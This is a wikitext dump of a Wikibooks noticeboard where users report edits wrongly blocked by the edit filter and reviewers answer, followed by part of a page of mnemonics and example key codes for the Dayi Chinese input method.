;Page you were editing : [[Earthinators]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=Earthinators}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=Earthinators&wpSearchUser=Earthinators}} user filter log])</span> ;Description : I was trying to replace the main page of [[Earthinators]] with a neutral, instructional textbook version ([[Talk:Earthinators|the new text is on the talk page]]). The edit filter blocked me, saying the edit was "potentially unconstructive". The new version follows Wikibooks guidelines – it’s a textbook, not a promotional page. Please allow the edit or make the change for me. ;Date and time : 06:56, 11 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :{{EFFP|rf}} [[User:Codename Noreste|Codename Noreste]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 19:48, 16 July 2026 (UTC) == ~2026-40102-72 == ;Username : [[:b:User:~2026-40102-72|~2026-40102-72]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-40102-72|discuss]] |[[:b:Special:Emailuser/~2026-40102-72|email]] |[[:b:Special:Contributions/~2026-40102-72|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-40102-72}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-40102-72}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-40102-72}} filter log]</span>) ;Page you were editing : Page not specified ;Description : ;Date and time : 20:26, 15 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :{{EFFP|nft}} [[User:Ternera|Ternera]] ([[User talk:Ternera|discuss]] • [[Special:Contributions/Ternera|contribs]]) 16:39, 16 July 2026 (UTC) == ~2026-40102-72 == ;Username : [[:b:User:~2026-40102-72|~2026-40102-72]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-40102-72|discuss]] |[[:b:Special:Emailuser/~2026-40102-72|email]] |[[:b:Special:Contributions/~2026-40102-72|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-40102-72}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-40102-72}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-40102-72}} filter log]</span>) ;Page you were editing : Page not specified ;Description : ;Date and time : 20:27, 15 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :{{EFFP|nft}} [[User:Ternera|Ternera]] ([[User talk:Ternera|discuss]] • [[Special:Contributions/Ternera|contribs]]) 16:39, 16 July 2026 (UTC) == LoveElectronicLiterature == ;Username : [[:b:User:LoveElectronicLiterature|LoveElectronicLiterature]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:LoveElectronicLiterature|discuss]] |[[:b:Special:Emailuser/LoveElectronicLiterature|email]] |[[:b:Special:Contributions/LoveElectronicLiterature|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:LoveElectronicLiterature}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:LoveElectronicLiterature}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=LoveElectronicLiterature}} filter log]</span>) ;Page you were editing : [[https://en.wikibooks.org/w/index.php?title=Hereditary_Multiple_Exostoses&veaction=edit&section=7]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=https%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DHereditary_Multiple_Exostoses%26veaction%3Dedit%26section%3D7}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=https%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DHereditary_Multiple_Exostoses%26veaction%3Dedit%26section%3D7&wpSearchUser=LoveElectronicLiterature}} user filter log])</span> ;Description : I was trying to copy the references and abstracts that I have been maintaining for over 20 years at http COLON SLASH SLASH tinyurl DOT com SLASH MHETalk. I copied a bunch of references, and then I shortened the description and put the citations in. But I got flagged for copying. Is there any way to fix this? thanks! ;Date and time : 16:23, 16 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> : {{EFFP|notdone}} You attempted to add a large edit to a book, so please try doing this in smaller edits. – [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 01:52, 15 August 2026 (UTC) == Madan Bibhishan Nagargoje == ;Username : [[:b:User:Madan Bibhishan Nagargoje|Madan Bibhishan Nagargoje]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:Madan Bibhishan Nagargoje|discuss]] |[[:b:Special:Emailuser/Madan Bibhishan Nagargoje|email]] |[[:b:Special:Contributions/Madan Bibhishan Nagargoje|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:Madan Bibhishan Nagargoje}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:Madan Bibhishan Nagargoje}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=Madan+Bibhishan+Nagargoje}} filter log]</span>) ;Page you were editing : Page not specified ;Description : ;Date and time : 06:15, 22 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :This was correctly prevented because you were trying to add a link to a Google Drive file as a "reference". If you are genuinely trying to add a reference, do this to a publicly available source and not a private Drive file. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:52, 13 August 2026 (UTC) == ~2026-44191-83 == ;Username : [[:b:User:~2026-44191-83|~2026-44191-83]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-44191-83|discuss]] |[[:b:Special:Emailuser/~2026-44191-83|email]] |[[:b:Special:Contributions/~2026-44191-83|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-44191-83}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-44191-83}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-44191-83}} filter log]</span>) ;Page you were editing : [[An_Introduction_to_Dragon]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=An_Introduction_to_Dragon}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=An_Introduction_to_Dragon&wpSearchUser=%7E2026-44191-83}} user filter log])</span> ;Description : Adding/expanding book content (introduction, table of contents, and lesson pages) for the Dragon programming language wikibook, based on the project's own source code and documentation. No spam or promotional intent. ;Date and time : 08:15, 11 August 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :The edit was flagged as it deleted a large amount of content in one go, a typical fingerprint of non-constructive editing. I can see your edit was constructive and I recommend you make your changes using smaller edits initially. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:50, 13 August 2026 (UTC) == ~2026-49041-81 == ;Username : [[:b:User:~2026-49041-81|~2026-49041-81]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-49041-81|discuss]] |[[:b:Special:Emailuser/~2026-49041-81|email]] |[[:b:Special:Contributions/~2026-49041-81|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-49041-81}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-49041-81}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-49041-81}} filter log]</span>) ;Page you were editing : [[Danish]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=Danish}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=Danish&wpSearchUser=%7E2026-49041-81}} user filter log])</span> ;Description : Tried to add this link to my-danish-tutor.com This one has a ton of free resources and interactive materials for learning Danish. Reading, listening, conversations, grammar, word lists, flashcards and much more. ;Date and time : 17:50, 10 September 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> == ActStuffOGWiki == ;Username : [[:b:User:ActStuffOGWiki|ActStuffOGWiki]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:ActStuffOGWiki|discuss]] |[[:b:Special:Emailuser/ActStuffOGWiki|email]] |[[:b:Special:Contributions/ActStuffOGWiki|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:ActStuffOGWiki}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:ActStuffOGWiki}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=ActStuffOGWiki}} filter log]</span>) ;Page you were editing : [[Indian Railways/History]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=Indian+Railways%2FHistory}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=Indian+Railways%2FHistory&wpSearchUser=ActStuffOGWiki}} user filter log])</span> ;Description : It says I added a "large amount of content" to this page. Even though I did copy paste the Introduction, the rest was me typing. ;Date and time : 08:49, 18 September 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> cjxxjhijm83a90qu9iwa87yldu2ipyc 4670884 4670883 2026-09-18T09:02:16Z ActStuffOGWiki 3624203 /* {{subst:currentuser}}{{subst:^|DO NOT EDIT THIS LINE}} */ new section 4670884 wikitext text/x-wiki __NONEWSECTIONLINK__ __NOINDEX__ {{Wikibooks:Edit filter/False positives/Header}} {{shortcut|WB:EFFP}} {{User:MiszaBot/config |archive = Wikibooks:Edit filter/False positives/Archive %(counter)d |algo = old(75d) |counter = 4 |maxarchivesize = 150K |minthreadstoarchive = 1 |minthreadsleft = 3 }} == ~2026-35089-83 == ;Username : [[:b:User:~2026-35089-83|~2026-35089-83]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-35089-83|discuss]] |[[:b:Special:Emailuser/~2026-35089-83|email]] |[[:b:Special:Contributions/~2026-35089-83|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-35089-83}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-35089-83}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-35089-83}} filter log]</span>) ;Page you were editing : [[[[Japanese/Kana]]]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=%5B%5BJapanese%2FKana%5D%5D}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=%5B%5BJapanese%2FKana%5D%5D&wpSearchUser=%7E2026-35089-83}} user filter log])</span> ;Description : Tried replacing a dead link with a working version I found when I plugged the link into webarchive, since that's what I presumed I was meant to do when I found a dead link. ;Date and time : 01:27, 15 June 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> : {{EFFP|done}} – [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 21:54, 15 July 2026 (UTC) == SeaDragon1 == ;Username : [[:b:User:SeaDragon1|SeaDragon1]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:SeaDragon1|discuss]] |[[:b:Special:Emailuser/SeaDragon1|email]] |[[:b:Special:Contributions/SeaDragon1|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:SeaDragon1}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:SeaDragon1}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=SeaDragon1}} filter log]</span>) ;Page you were editing : [[User:SeaDragon1/UTM highlighting test]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=User%3ASeaDragon1%2FUTM+highlighting+test}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=User%3ASeaDragon1%2FUTM+highlighting+test&wpSearchUser=SeaDragon1}} user filter log])</span> ;Description : Attempted creation of page to test [[User:SeaDragon1/common.js]] (both attempted page creation content and <span style="font-family: monospace">common.js</span> were copied from [[w:Main Page|the English Wikipedia]]). ;Date and time : 23:26, 3 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :{{EFFP|ad|SeaDragon1}} [[User:Ternera|Ternera]] ([[User talk:Ternera|discuss]] • [[Special:Contributions/Ternera|contribs]]) 16:40, 16 July 2026 (UTC) == Earthinators == ;Username : [[:b:User:Earthinators|Earthinators]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:Earthinators|discuss]] |[[:b:Special:Emailuser/Earthinators|email]] |[[:b:Special:Contributions/Earthinators|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:Earthinators}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:Earthinators}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=Earthinators}} filter log]</span>) ;Page you were editing : [[Earthinators]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=Earthinators}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=Earthinators&wpSearchUser=Earthinators}} user filter log])</span> ;Description : I was trying to replace the main page of [[Earthinators]] with a neutral, instructional textbook version ([[Talk:Earthinators|the new text is on the talk page]]). The edit filter blocked me, saying the edit was "potentially unconstructive". The new version follows Wikibooks guidelines – it’s a textbook, not a promotional page. Please allow the edit or make the change for me. ;Date and time : 06:56, 11 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :{{EFFP|rf}} [[User:Codename Noreste|Codename Noreste]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 19:48, 16 July 2026 (UTC) == ~2026-40102-72 == ;Username : [[:b:User:~2026-40102-72|~2026-40102-72]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-40102-72|discuss]] |[[:b:Special:Emailuser/~2026-40102-72|email]] |[[:b:Special:Contributions/~2026-40102-72|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-40102-72}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-40102-72}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-40102-72}} filter log]</span>) ;Page you were editing : Page not specified ;Description : ;Date and time : 20:26, 15 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :{{EFFP|nft}} [[User:Ternera|Ternera]] ([[User talk:Ternera|discuss]] • [[Special:Contributions/Ternera|contribs]]) 16:39, 16 July 2026 (UTC) == ~2026-40102-72 == ;Username : [[:b:User:~2026-40102-72|~2026-40102-72]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-40102-72|discuss]] |[[:b:Special:Emailuser/~2026-40102-72|email]] |[[:b:Special:Contributions/~2026-40102-72|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-40102-72}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-40102-72}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-40102-72}} filter log]</span>) ;Page you were editing : Page not specified ;Description : ;Date and time : 20:27, 15 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :{{EFFP|nft}} [[User:Ternera|Ternera]] ([[User talk:Ternera|discuss]] • [[Special:Contributions/Ternera|contribs]]) 16:39, 16 July 2026 (UTC) == LoveElectronicLiterature == ;Username : [[:b:User:LoveElectronicLiterature|LoveElectronicLiterature]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:LoveElectronicLiterature|discuss]] |[[:b:Special:Emailuser/LoveElectronicLiterature|email]] |[[:b:Special:Contributions/LoveElectronicLiterature|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:LoveElectronicLiterature}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:LoveElectronicLiterature}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=LoveElectronicLiterature}} filter log]</span>) ;Page you were editing : [[https://en.wikibooks.org/w/index.php?title=Hereditary_Multiple_Exostoses&veaction=edit&section=7]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=https%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DHereditary_Multiple_Exostoses%26veaction%3Dedit%26section%3D7}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=https%3A%2F%2Fen.wikibooks.org%2Fw%2Findex.php%3Ftitle%3DHereditary_Multiple_Exostoses%26veaction%3Dedit%26section%3D7&wpSearchUser=LoveElectronicLiterature}} user filter log])</span> ;Description : I was trying to copy the references and abstracts that I have been maintaining for over 20 years at http COLON SLASH SLASH tinyurl DOT com SLASH MHETalk. I copied a bunch of references, and then I shortened the description and put the citations in. But I got flagged for copying. Is there any way to fix this? thanks! ;Date and time : 16:23, 16 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> : {{EFFP|notdone}} You attempted to add a large edit to a book, so please try doing this in smaller edits. – [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 01:52, 15 August 2026 (UTC) == Madan Bibhishan Nagargoje == ;Username : [[:b:User:Madan Bibhishan Nagargoje|Madan Bibhishan Nagargoje]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:Madan Bibhishan Nagargoje|discuss]] |[[:b:Special:Emailuser/Madan Bibhishan Nagargoje|email]] |[[:b:Special:Contributions/Madan Bibhishan Nagargoje|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:Madan Bibhishan Nagargoje}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:Madan Bibhishan Nagargoje}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=Madan+Bibhishan+Nagargoje}} filter log]</span>) ;Page you were editing : Page not specified ;Description : ;Date and time : 06:15, 22 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :This was correctly prevented because you were trying to add a link to a Google Drive file as a "reference". If you are genuinely trying to add a reference, do this to a publicly available source and not a private Drive file. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:52, 13 August 2026 (UTC) == ~2026-44191-83 == ;Username : [[:b:User:~2026-44191-83|~2026-44191-83]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-44191-83|discuss]] |[[:b:Special:Emailuser/~2026-44191-83|email]] |[[:b:Special:Contributions/~2026-44191-83|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-44191-83}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-44191-83}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-44191-83}} filter log]</span>) ;Page you were editing : [[An_Introduction_to_Dragon]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=An_Introduction_to_Dragon}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=An_Introduction_to_Dragon&wpSearchUser=%7E2026-44191-83}} user filter log])</span> ;Description : Adding/expanding book content (introduction, table of contents, and lesson pages) for the Dragon programming language wikibook, based on the project's own source code and documentation. No spam or promotional intent. ;Date and time : 08:15, 11 August 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :The edit was flagged as it deleted a large amount of content in one go, a typical fingerprint of non-constructive editing. I can see your edit was constructive and I recommend you make your changes using smaller edits initially. [[User:MarcGarver|MarcGarver]] ([[User talk:MarcGarver|discuss]] • [[Special:Contributions/MarcGarver|contribs]]) 11:50, 13 August 2026 (UTC) == ~2026-49041-81 == ;Username : [[:b:User:~2026-49041-81|~2026-49041-81]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-49041-81|discuss]] |[[:b:Special:Emailuser/~2026-49041-81|email]] |[[:b:Special:Contributions/~2026-49041-81|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-49041-81}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-49041-81}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-49041-81}} filter log]</span>) ;Page you were editing : [[Danish]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=Danish}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=Danish&wpSearchUser=%7E2026-49041-81}} user filter log])</span> ;Description : Tried to add this link to my-danish-tutor.com This one has a ton of free resources and interactive materials for learning Danish. Reading, listening, conversations, grammar, word lists, flashcards and much more. ;Date and time : 17:50, 10 September 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> == ActStuffOGWiki == ;Username : [[:b:User:ActStuffOGWiki|ActStuffOGWiki]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:ActStuffOGWiki|discuss]] |[[:b:Special:Emailuser/ActStuffOGWiki|email]] |[[:b:Special:Contributions/ActStuffOGWiki|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:ActStuffOGWiki}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:ActStuffOGWiki}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=ActStuffOGWiki}} filter log]</span>) ;Page you were editing : [[Indian Railways/History]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=Indian+Railways%2FHistory}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=Indian+Railways%2FHistory&wpSearchUser=ActStuffOGWiki}} user filter log])</span> ;Description : It says I added a "large amount of content" to this page. Even though I did copy paste the Introduction, the rest was me typing. ;Date and time : 08:49, 18 September 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> == ActStuffOGWiki == ;Username : [[:b:User:ActStuffOGWiki|ActStuffOGWiki]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:ActStuffOGWiki|discuss]] |[[:b:Special:Emailuser/ActStuffOGWiki|email]] |[[:b:Special:Contributions/ActStuffOGWiki|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:ActStuffOGWiki}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:ActStuffOGWiki}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=ActStuffOGWiki}} filter log]</span>) ;Page you were editing : [[Indian Railways/History]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=Indian+Railways%2FHistory}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=Indian+Railways%2FHistory&wpSearchUser=ActStuffOGWiki}} user filter log])</span> ;Description : ''Note: This page is not published yet. '' I tried to make this page normally, but the [[Wikibooks:edit filter|edit filter]] told that there has been a '''large amount of content''' added. I did it again but copy-pasted sentence by sentence because I didn't want to type the whole thing again. It still says the same warning. ;Date and time : 09:02, 18 September 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> tgpcphpnapar1lks3xxcp9cfzrmxkpq 0 404521 4670682 3508215 2026-09-17T15:42:45Z Noewaeda 3626178 4670682 wikitext text/x-wiki ==動物 animals== ''The number of subcomponents in this section probably wont be exhaustive. The focus should be on finding ways to easily remember the most important ones. When studying the components, you should have a list of all the components ready. You can download it [http://www.dayi.com/%E5%A4%A7%E6%98%93%E8%BC%B8%E5%85%A5%E6%B3%95%E5%AD%97%E6%A0%B9%E8%A1%A8.pdf here].'' 牛 (2) cow.<br /> The sub elements look like 牛: 午2s 五e2 告2o the ox is the second animal in the zodiac 馬 (B) horse.<br /> The subcomponents look like the lower right side. 乛习勹 to remember this key (B), think of the famous fictional horse Black Beauty.<br /> 鹿 (C) deer.<br /> The subcomponents are inspired by the first 3 strokes: 广 (虍飞乁气) or the last 2 strokes: 匕 (七乙乚). The shape 乚 and the letter C look a bit similar. Dont confuse the subelements with the ones from 鳥(H). 力 (,) power.<br /> The main subcomponents are 犭 and 豕e, without 一 (dog and the bottom side of pig). You can remember that "power" and "insect" are the "odd animals out". like , and ; are different from letters and numbers. 虫 (;) insect.<br /> The main subcomponent is the 3,5,6 stroke of 虫: 厶 you can remember that "power" and "insect" are the "odd animals out" like , and ; are different from letters and numbers. 魚 (N) fish.<br /> The subcomponents here seems a bit varied: 刀夕彑刂角 Here is an attempt to create a mnemonic: Imagine that N is a fishing rod, you are "angling" (角) with a knife (刀刂) instead of a hook. (but dont confuse it with the hook 亅 from 月(J)). 鳥 (H) bird.<br /> The subcomponents here can be hard to connect to the main component 鳥: 戶户尸厂丆, but they have this in common：They all have a horizontal part at the top and a vertical part on the left or, like 丆, moving leftward. The word for migratory bird is 候鳥 hòuniǎo (starts with an H). Dont confuse the subelement with the ones from 鹿(C). ==Example characters== 牛（2）cow key examples:<br /> 特 2fg.<br /> 詐 123<br /> 先 2q<br /> 五 e2<br /> 年 22<br /> 違 2o20<br /> 馬（B）horse key examples:<br /> 的 /db.<br /> 為 ./by or /.by or jbby or j/by<br /> 爲 j/by<br /> 卷 uvbc<br /> 翏 bba/<br /> 矛 b,<br /> 駟 b4<br /> 承 bjxk or bgy or bxx or bgbk<br /> 弜 rbrb<br /> 翗 nnbb<br /> 虧 cakb<br /> 与 ebe<br /> 鹿（C) deer key examples:<br /> 麻 cii<br /> 能 ;jcc<br /> 起 f9rc<br /> 噓 oc6e<br /> 卷 uvbc<br /> 純 tewc<br /> 訊 1c1.<br /> 翏 bba/<br /> 藨 ucy<br /> 柀 icx<br /> 栳 ifc<br /> 吃 o2c<br /> 飛 ca1c or c1ac or cac1 or cca1<br /> 氣 c8<br /> 力 (,) power (犭 dog radical) key examples:<br /> 狿 ,/90<br /> 矛 b,<br /> 冢 me,. or mee.<br /> 貍 j,df<br /> 勂 2o,<br /> 聚 px, or pxaa<br /> 潀 x4, or x4aa<br /> 璈 5f,x or 5f.x<br /> 虫 (;) insect key examples:<br /> 能 ;jcc<br /> 觚 nh;0<br /> 風 q;<br /> 瑵 5x.;<br /> 郎 .;p<br /> 魚 (N) fish key examples:<br /> 夠 nnbo<br /> 龜 NMER （or NMEX）<br /> 鉶 0eun<br /> 恝 fnz <br /> 危 nhbc<br /> 蝓 ;ajn<br /> 鱈 nmr<br /> 觓 nl1<br /> 互 en<br /> 鳥 (H) bird key examples:<br /> 不 h9 兀 eq and 光 teq not thc<br /> 擾 